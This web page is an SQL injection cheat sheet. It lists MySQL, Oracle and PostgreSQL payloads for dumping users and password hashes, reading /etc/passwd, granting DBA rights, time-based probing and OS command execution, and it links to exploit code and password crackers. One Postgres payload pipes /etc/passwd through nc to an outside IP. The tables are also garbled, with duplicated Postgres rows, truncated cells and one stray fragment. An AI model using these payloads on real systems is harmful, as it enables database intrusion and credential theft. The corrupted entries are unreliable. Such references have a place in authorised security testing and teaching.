On this page
article
SQL Injection cheat sheet
MySQL SQL Injection
Command | SQL Query | Explanation |
---|---|---|
Version | SELECT @@version | Retrieves the version of the MySQL server. |
Comments | SELECT 1; #comment SELECT /comment/1; | Demonstrates how to use comments in SQL queries. Single-line and multi-line comments are shown. |
Current User | SELECT user(); SELECT system_user(); | Retrieves the current MySQL user and the system user that the MySQL server is running as. |
List Users | SELECT user FROM mysql.user; — priv | Lists all users in the MySQL database. Requires administrative privileges. |
List Password Hashes | SELECT host, user, password FROM mysql.user; — priv | Retrieves host, username, and password hashes from the MySQL user table. Requires administrative privileges. |
Password Cracker | http://www.openwall.com/john/ | Suggests a tool for cracking MySQL password hashes. |
List Privileges | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — priv SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv | Lists various user privileges. The first query lists privileges from the information_schema database, while the second query lists detailed privileges for each user from the mysql.user table. Both require administrative privileges. |
List DBA Accounts | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’; SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; — priv | Lists database administrator accounts. The first query checks user privileges in the information_schema, and the second query checks the Super_priv column in mysql.user. Both require administrative privileges. |
Current Database | SELECT database() | Retrieves the name of the current database. |
List Databases | SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv | Lists all databases. The first query lists schemas for MySQL version 5.0 and above, while the second query retrieves databases from the mysql.db table and requires administrative privileges. |
List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | Lists columns in all tables, excluding system tables, in the information_schema database. |
List Tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | Lists all tables, excluding system tables, in the information_schema database. |
Find Tables From Column Name | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; | Finds tables that contain a column named ‘username’ in the information_schema database. |
Select Nth Row | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0 | Selects the Nth row from a table. The OFFSET keyword is used to specify which row to start from. |
Select Nth Char | SELECT substr(‘abcd’, 3, 1); # returns c | Selects the Nth character from a string. In this example, it returns the 3rd character from the string ‘abcd’. |
Bitwise AND | SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0 | Demonstrates the use of bitwise AND operation in SQL. In these examples, it performs a bitwise AND on the numbers 6 and 2, and 6 and 1, respectively. |
ASCII Value -> Char | SELECT char(65); # returns A | Converts an ASCII value to its corresponding character. In this example, ASCII 65 is converted to ‘A’. |
Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 | Converts a character to its corresponding ASCII value. In this example, ‘A’ is converted to ASCII 65. |
Casting | SELECT cast(‘1’ AS unsigned integer); SELECT cast(‘123’ AS char); | Demonstrates how to cast data types in SQL. The first query casts the string ‘1’ to an unsigned integer, and the second query casts the string ‘123’ to a character data type. |
String Concatenation | SELECT CONCAT(‘A’,‘B’); #returns AB SELECT CONCAT(‘A’,‘B’,‘C’); # returns ABC | Shows how to concatenate strings in SQL. The first query concatenates ‘A’ and ‘B’, and the second query concatenates ‘A’, ‘B’, and ‘C’. |
If Statement | SELECT if(1=1,‘foo’,‘bar’); — returns ‘foo’ | Demonstrates the use of an IF statement in SQL. This query checks if 1 equals 1 and returns ‘foo’; otherwise, it would return ‘bar’. |
Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A | Demonstrates the use of a CASE statement in SQL. This query checks if 1 equals 1 and returns ‘A’; otherwise, it would return ‘B’. |
Avoiding Quotes | SELECT 0x414243; # returns ABC | Shows how to use hexadecimal values to avoid quotes in SQL queries. This query returns the string ‘ABC’ from its hexadecimal representation. |
Time Delay | SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12 | Introduces methods to create a time delay in SQL queries. The BENCHMARK function repeats an operation a specified number of times, and SLEEP pauses execution for a specified number of seconds. |
Make DNS Requests | Impossible? | Notes that making DNS requests through MySQL is generally not possible. |
Command Execution | http://www.0xdeadbeef.info/exploits/raptor_udf.c | Explains how to execute OS commands via MySQL under certain conditions, by uploading a shared object file into the server’s library directory. Requires administrative privileges and specific server configurations. |
Local File Access | …’ UNION ALL SELECT LOAD_FILE(’/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system | Demonstrates how to access local files through SQL queries. The first query reads a file, and the second writes to a file. Both require administrative privileges. |
Hostname, IP Address | SELECT @@hostname; | Retrieves the hostname of the MySQL server. |
Create Users | CREATE USER test1 IDENTIFIED BY ‘pass1’; — priv | Creates a new user in MySQL with the specified password. Requires administrative privileges. |
Delete Users | DROP USER test1; — priv | Deletes a user from MySQL. Requires administrative privileges. |
Make User DBA | GRANT ALL PRIVILEGES ON . TO test1@’%’; — priv | Grants a user all privileges on all databases and tables, effectively making them a DBA. Requires administrative privileges. |
Location of DB files | SELECT @@datadir; | Retrieves the directory where database files are stored in the MySQL server. |
Default/System Databases | information_schema (>= mysql 5.0) mysql | Lists default and system databases in MySQL. ‘information_schema’ is available from MySQL version 5.0 and above, and ‘mysql’ is the system database that contains user and privilege information. |
Oracle SQL Injection
Command | SQL Query | Explanation |
---|---|---|
Version | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; | Retrieves the version of the Oracle database. The first query gets the Oracle DB version, the second gets the Oracle TNS Listener version, and the third gets the instance version. |
Comments | SELECT 1 FROM dual — comment | Demonstrates how to use comments in SQL queries in Oracle. ‘dual’ is a special table used in Oracle. |
Current User | SELECT user FROM dual | Retrieves the current user of the Oracle database. |
List Users | SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv | Lists all users in the Oracle database. The first query lists usernames from the all_users view, and the second query, which requires administrative privileges, lists users from the sys.user$ table. |
List Password Hashes | SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ — priv, 11g | Retrieves user names and password hashes from the Oracle database. The first query is for Oracle versions up to 10g and includes account status, while the second query is for version 11g. Both require administrative privileges. |
Password Cracker | http://www.red-database-security.com/software/checkpwd.html | Suggests a tool for cracking Oracle password hashes. |
List Privileges | SELECT * FROM session_privs; — current privs SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; | Lists privileges of users in the Oracle database. The first query lists current session privileges, the second lists privileges of a specific user, the third finds users with a particular privilege, and the fourth lists roles granted to users. The last three queries require administrative privileges. |
List DBA Accounts | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles | Lists database administrator accounts in Oracle. This query finds users with administrative privileges and requires administrative privileges itself. |
Current Database | SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; | Retrieves the name of the current Oracle database. Each query provides a different way to obtain the current database or instance name. |
List Databases | SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) — Also query TNS listener for other databases. See http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html (services | status). |
List Columns | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; | Lists columns in Oracle tables. The first query lists columns of a specified table, and the second query specifies both table and owner. |
List Tables | SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; | Lists all tables in Oracle. The first query lists table names, and the second includes the owner of each table. |
Find Tables From Column Name | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case | Finds Oracle tables that contain a specific column. The query lists tables with a column name like ‘%PASS%’. Note that Oracle table names are usually in uppercase. |
Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) | Retrieves the Nth row from a result set in Oracle. This example gets the 9th row from the all_users table. Oracle rows are numbered starting from 1. |
Select Nth Char | SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ | Retrieves the Nth character from a string in Oracle. This example gets the 3rd character from ‘abcd’. |
Bitwise AND | SELECT bitand(6,2) FROM dual; — returns 2 SELECT bitand(6,1) FROM dual; — returns 0 | Demonstrates the use of bitwise AND in Oracle. The first query returns 2, and the second returns 0. |
ASCII Value -> Char | SELECT chr(65) FROM dual; — returns A | Converts an ASCII value to its corresponding character in Oracle. This example converts ASCII 65 to ‘A’. |
Char -> ASCII Value | SELECT ascii(‘A’) FROM dual; — returns 65 | Converts a character to its corresponding ASCII value in Oracle. This example converts ‘A’ to ASCII 65. |
Casting | SELECT CAST(1 AS char) FROM dual; SELECT CAST(‘1’ AS int) FROM dual; | Demonstrates how to cast data types in Oracle SQL. The first query casts the number 1 to a character, and the second casts the string ‘1’ to an integer. |
String Concatenation | SELECT ‘A’ | |
If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements | Demonstrates the use of an IF statement in Oracle, using PL/SQL. This example uses dbms_lock.sleep for a conditional time delay. Note that IF statements are typically used in PL/SQL blocks rather than directly in SELECT statements. |
Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 | Demonstrates the use of a CASE statement in Oracle SQL. The first query returns 1 if the condition is true (1=1), and the second returns 2 if the condition is false (1=2). |
Avoiding Quotes | SELECT chr(65) | |
Time Delay | BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual; — if reverse looks are slow SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow SELECT UTL_HTTP.REQUEST(‘http://google.com/') FROM dual; — if outbound TCP is filtered / slow — Also see http://technet.microsoft.com/en-us/library/cc512676.aspx to create a time delay | Introduces methods to create a time delay in Oracle SQL. The DBMS_LOCK.SLEEP function pauses execution, but it’s generally not embeddable in a SELECT statement. Other methods involve slow network operations. |
Make DNS Requests | SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com/') FROM dual; | Demonstrates how to make DNS requests in Oracle SQL. The first query resolves an IP address, and the second makes an HTTP request. |
Command Execution | http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql | Provides a link to an exploit that can be used to execute commands in Oracle under certain conditions. |
Local File Access | http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql — can sometimes be used. Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’; http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql — can be used to read and write files if installed (not available in Oracle Express). | Provides links to exploits that can be used for local file access in Oracle. The first exploit checks the ‘utl_file_dir’ parameter, and the second exploit can be used to read and write files. |
Hostname, IP Address | SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual; — gets hostnames | Retrieves the hostname and IP address of the Oracle server. The queries use different functions and views to obtain this information. |
Location of DB files | SELECT name FROM V$DATAFILE; | Retrieves the locations of database files in Oracle. This query lists the data files as seen in the V$DATAFILE view. |
Default/System Databases | SYSTEM SYSAUX | Lists default and system databases in Oracle. ‘SYSTEM’ and ‘SYSAUX’ are key system tablespaces in Oracle. |
Postgres SQL Injection
Command | SQL Query | Explanation |
---|---|---|
Version | SELECT version() | Retrieves the version of the PostgreSQL database. |
Comments | SELECT 1; –comment SELECT /comment/1; | Demonstrates how to use comments in SQL queries in PostgreSQL. Both – and /* */ are used for commenting. |
Current User | SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); | Retrieves the current user of the PostgreSQL database. Multiple ways are shown to get the username, including from the pg_user system table. |
List Users | SELECT usename FROM pg_user | Lists all users in the PostgreSQL database. pg_user is a system catalog view that shows user information. |
List Password Hashes | SELECT usename, passwd FROM pg_shadow – priv | Retrieves user names and password hashes from the PostgreSQL database. This query requires administrative privileges and is run on the pg_shadow table, which contains information about users. |
Password Cracker | http://pentestmonkey.net/blog/cracking-postgres-hashes/ | Suggests a tool for cracking PostgreSQL’s MD5-based password hashes. |
List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user | Lists privileges of users in the PostgreSQL database. The query shows which users have privileges like creating databases, superuser access, and catalog update permissions. |
List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE | Lists database administrator accounts in PostgreSQL. This query finds users with superuser privileges. |
Current Database | SELECT current_database() | Retrieves the name of the current PostgreSQL database. current_database() is a function that returns the database name. |
List Databases | SELECT datname FROM pg_database | Lists all databases in PostgreSQL. pg_database is a system catalog that contains information about databases. |
List Columns | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=‘r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) | Lists columns in PostgreSQL tables. This query joins several system catalogs to list columns in tables in the ‘public’ schema. |
List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,’’) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) | Lists all tables in PostgreSQL. This query filters out system tables and lists user-defined tables. |
Find Tables From Column Name | SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=‘r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’; | Finds PostgreSQL tables that contain a specific column. This query is useful for identifying tables with columns containing specific names, such as those related to passwords. |
Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; – rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; | Retrieves the Nth row from a result set in PostgreSQL. This example demonstrates getting the first and second rows from the pg_user table. PostgreSQL rows are numbered starting from 0. |
Select Nth Char | SELECT substr(‘abcd’, 3, 1); – returns c | Retrieves the Nth character from a string in PostgreSQL. This example gets the 3rd character from ‘abcd’. |
Bitwise AND | SELECT 6 & 2; – returns 2 SELECT 6 & 1; – returns 0 | Demonstrates the use of bitwise AND in PostgreSQL. The first query returns 2, and the second returns 0. |
ASCII Value -> Char | SELECT chr(65); | Converts an ASCII value to its corresponding character in PostgreSQL. This example converts ASCII 65 to ‘A’. |
Char -> ASCII Value | SELECT ascii(‘A’); | Converts a character to its corresponding ASCII value in PostgreSQL. This example converts ‘A’ to ASCII 65. |
Casting | SELECT CAST(1 as varchar); SELECT CAST(‘1’ as int); | Demonstrates how to cast data types in PostgreSQL. The first query casts the number 1 to a varchar, and the second casts the string ‘1’ to an integer. |
String Concatenation | SELECT ‘A’ | |
If Statement | IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. | Explains that IF statements are typically used inside PL/pgSQL functions in PostgreSQL and are not directly applicable for SQL injection. |
Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; – returns A | Demonstrates the use of a CASE statement in PostgreSQL. This query returns ‘A’ if the condition (1=1) is true. |
Avoiding Quotes | SELECT CHR(65) | |
Time Delay | SELECT pg_sleep(10); – postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6’, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); – priv, create your own sleep function. Taken from http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf. | Introduces methods to create a time delay in PostgreSQL SQL. The pg_sleep function pauses execution, and the second query demonstrates creating a custom sleep function. Note that the creation of a custom function requires administrative privileges. |
Make DNS Requests | Generally not possible in postgres. However if http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.html is installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights): SELECT * FROM dblink(‘host=put.your.hostname.here user=someuser dbname=somedb’, ‘SELECT version()’) RETURNS (result TEXT); Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”. | Notes that making DNS requests through PostgreSQL is generally not possible. However, the dblink function or OS-level commands (for users with DBA rights) can be used for this purpose. |
Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6’, ‘system’ LANGUAGE ‘C’ STRICT; – priv SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080’); – priv, commands run as postgres/pgsql OS-level user |
Local File Access | CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’; – priv, can read files which are readable by postgres OS-level user … UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; – get data back one and the second returns 0. | |
ASCII Value -> Char | SELECT chr(65); | Converts an ASCII value to its corresponding character in PostgreSQL. This example converts ASCII 65 to ‘A’. |
Char -> ASCII Value | SELECT ascii(‘A’); | Converts a character to its corresponding ASCII value in PostgreSQL. This example converts ‘A’ to ASCII 65. |
Casting | SELECT CAST(1 as varchar); SELECT CAST(‘1’ as int); | Demonstrates how to cast data types in PostgreSQL SQL. The first query casts the number 1 to a varchar, and the second casts the string ‘1’ to an integer. |
String Concatenation | SELECT ‘A’ | |
If Statement | IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. | Notes that IF statements in PostgreSQL are typically used inside PL/pgSQL functions and are not directly applicable for SQL injection. The CASE statement is suggested as an alternative. |
Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; – returns A | Demonstrates the use of a CASE statement in PostgreSQL SQL. This query returns ‘A’ if the condition is true (1=1). |
Avoiding Quotes | SELECT CHR(65) | |
Time Delay | SELECT pg_sleep(10); – postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6’, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); – priv, create your own sleep function. Taken from http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf . | Introduces methods to create a time delay in PostgreSQL SQL. The pg_sleep function pauses execution for a specified number of seconds. The second method involves creating a custom sleep function using C language. This requires administrative privileges. |
Make DNS Requests | Generally not possible in PostgreSQL. However, if http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.html is installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights): SELECT * FROM dblink(‘host=put.your.hostname.here user=someuser dbname=somedb’, ‘SELECT version()’) RETURNS (result TEXT); Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”. | Notes that making DNS requests through PostgreSQL is generally not possible. However, with certain extensions or DBA rights, there are workarounds like using dblink or OS-level commands. |
Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6’, ‘system’ LANGUAGE ‘C’ STRICT; – priv SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080’); – priv, commands run as postgres/pgsql OS-level user |
Last updated 26 Apr 2024, 15:18 +0530 .